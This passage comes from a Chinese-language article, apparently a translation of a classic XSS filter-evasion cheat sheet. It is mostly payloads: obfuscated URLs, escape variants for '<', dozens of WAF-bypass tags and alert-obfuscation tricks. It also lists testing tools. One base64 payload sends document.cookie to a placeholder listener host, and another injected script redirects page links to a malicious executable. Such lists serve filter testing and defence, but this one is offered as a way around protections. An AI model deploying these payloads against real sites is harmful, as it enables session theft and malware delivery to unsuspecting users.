允許的每個數字的總大小大約為240個字符,如您在第二個數字上看到的,并且由于十六進制數字介于0和F之間,因此不需要在第三個十六進制引號上的前導零).
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
Octal encoding八進制:
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
Base64 encoding:
<img οnlοad="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
Mixed encoding:
讓我們混合和匹配基本編碼,并加入一些制表符和換行符-為什么瀏覽器允許這樣做,我永遠不會知道)。制表符和換行符只有在用引號封裝時才起作用。
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
協議解析旁路:
(//轉換為http:/,這將保存更多的字節)。當空間也是一個問題時(少兩個字符會有很長的路要走),
這真的很方便,而且可以輕松地繞過類似regex的“(ht | f)tp(s)?“//”。
您也可以將“/”改為“\\”。但是,您確實需要保留斜杠,否則這將被解釋為相對路徑URL。
<A HREF="//www.google.com/">XSS</A>
Google "feeling lucky" part 1.:
Firefox使用Google的“感覺幸運”功能將用戶重定向到你輸入的任何關鍵詞。
因此,如果你的可利用頁面是一些隨機關鍵字的頂部(如你在這里看到的),你可以對任何Firefox用戶使用該功能。這使用了Firefox的“keyword:”協議。
例如,您可以使用如下“keyword:XSS+RSnake”連接多個關鍵字。從2.0開始,這不再適用于Firefox。
<A HREF="//google">XSS</A>
Google "feeling lucky" part 2:
這使用了一個看起來只適用于Firefox的非常小的技巧,因為如果它是“感覺幸運”功能的實現。
與下一個不同,這在Opera中不起作用,因為Opera認為這是舊的HTTP基本身份驗證仿冒攻擊,而不是。這只是一個格式錯誤的URL。
如果你點擊對話框上的OK,它將工作,但由于錯誤的對話框,我是說Opera不支持此功能,并且從2.0開始Firefox不再支持此功能。
<A HREF="http://ha.ckers.org@google">XSS</A>
Google "feeling lucky" part 3:
這使用了一個格式錯誤的URL,似乎只在Firefox和Opera中有效,因為如果它們實現了“感覺幸運”功能。
像上面所有的這些一樣,它要求你在Google中的關鍵字是1(在本例中是“Google”)。
<A HREF="http://google:ha.ckers.org">XSS</A>
Removing cnames:
當與上述URL結合使用時,刪除“www.”將為正確設置此設置的服務器節省額外的4個字節,總共節省9個字節。
<A HREF="http://google.com/">XSS</A>
絕對DNS的額外點:
<A HREF="http://www.google.com./">XSS</A>
JavaScript link location:
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
內容替換為攻擊向量:
假設“http://www.google.com/”以編程方式替換為空)。
實際上,我使用了一個類似的攻擊向量來攻擊幾個獨立的真實世界XSS過濾器,
方法是使用轉換過濾器本身(這里是一個示例)來幫助創建攻擊向量
(即:“java	;script:”被轉換為“java script:”,它在IE、Netscape 8.1+中以安全站點模式和Opera呈現)。
<A HREF="http://www.google.com/ogle.com/">XSS</A>
字符轉義序列:
HTML和JavaScript中字符“<”的所有可能組合。其中大多數不會在框外渲染,但其中許多可以在上述特定情況下渲染。
<
%3C
&lt
&lt;
&LT
&LT;
<
<
<
<
<
<
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
<
<
<
<
<
<
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
<
<
<
<
<
<
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
<
<
<
<
<
<
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
<
<
<
<
<
<
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
繞過WAF的方法-跨站點腳本:
General issues
Stored XSS:
如果攻擊者設法推動XSS通過過濾器,WAF將無法阻止攻擊的傳導。在Javascript中反映XSS.
Example:
<script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);//
DOM-based XSS:
Example:
<script> ... eval($_GET[xss]); ... </script>
Exploitation: /?xss=document.cookie
XSS via request Redirection:
通過請求重定向的XSS。
易受攻擊的代碼.
...
header('Location: '.$_GET['param']);
...
As well as:
...
header('Refresh: 0; URL='.$_GET['param']);
...
This request will not pass through the WAF:
/?param=javascript:alert(document.cookie)
This request will pass through the WAF and an XSS attack will be conducted in certain browsers.
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
WAF ByPass Strings for XSS:
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" οnmοuseοver="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" οnerrοr="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 οnerrοr=alert(XSS)>
<img src=x:alert(alt) οnerrοr=eval(src) alt=0>
<img src="x:gif" οnerrοr="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg οnlοad=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/οnerrοr='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over
<img src="/" =_=" title="οnerrοr='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript&colon;alert(1)>CLICKME
<input/οnmοuseοver="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC5-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
過濾器旁路警報混,Filter bypass alarm confusion:
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
應用程序檢測和糾正無效輸入的方法是防止XSS的另一個主要弱點。黑名單可能不包括所有可能的攻擊字符串,白名單可能過于寬容,清理可能失敗,或者某種類型的輸入可能被錯誤地信任并保持未清理狀態。
OWASP CAL9000
CAL9000是Web應用程序安全性測試工具的合集,可補充當前Web代理和自動掃描程序的功能集。它作為參考托管在https://1337.yehg.net/CAL9000/上。
PHP字符集編碼器(PCE) - http://h5k.in/encoding [鏡:http://yehg.net/e ]
此工具可幫助您在65種字符集之間對任意文本進行編碼。還提供了JavaScript提供的一些編碼功能。
HackVertor - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
它為高級字符串操作攻擊提供了數十種靈活的編碼。
OWASP WebScar
WebScarab是一個框架,用于分析使用HTTP和HTTPS協議進行通信的應用程序。
XSS-代理 - http://xss-proxy.sourceforge.net/
XSS-Proxy是高級的跨站點腳本(XSS)攻擊工具。
ratproxy - http://code.google.com/p/ratproxy/
一種半自動化的,很大程度上是被動的Web應用程序安全審核工具,基于對復雜Web 2.0環境中現有的用戶發起的流量的觀察,已針對潛在問題和與安全相關的設計模式進行了精確,靈敏的檢測和自動注釋,并進行了優化。
代理http : //portswigger.net/proxy/
Burp代理是用于攻擊和測試Web應用程序的交互式HTTP/S代理服務器。
OWASP Zed的攻擊代理(ZAP) - OWASP_Zed_Attack_Proxy_Project
ZAP是易于使用的集成滲透測試工具,用于發現Web應用程序中的漏洞。它被設計為具有廣泛的安全經驗的人使用,因此,它是滲透測試新手的開發人員和功能測試人員的理想選擇。ZAP提供了自動掃描程序以及一系列工具,可讓您手動查找安全漏洞。
OWASP Xenotix XSS漏洞利用框架 - OWASP_Xenotix_XSS_Exploit_Framework
OWASP Xenotix XSS漏洞利用框架是一個高級的跨站點腳本(XSS)漏洞檢測和利用框架。它通過其獨特的三重瀏覽器引擎(Trident,WebKit和Gecko)嵌入式掃描儀提供零誤報掃描結果。據稱,它具有約1600多個獨特的XSS有效負載的全球第二大XSS有效負載,可有效地檢測XSS漏洞和WAF繞過。Xenotix腳本引擎允許您通過Xenotix API創建自定義測試用例和附加組件。它與功能豐富的信息收集模塊結合在一起,可用于目標偵察。漏洞利用框架包括用于滲透測試和概念驗證創建的令人討厭的XSS漏洞利用模塊。
看完上述內容,你們對如何繞過XSS的防護有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。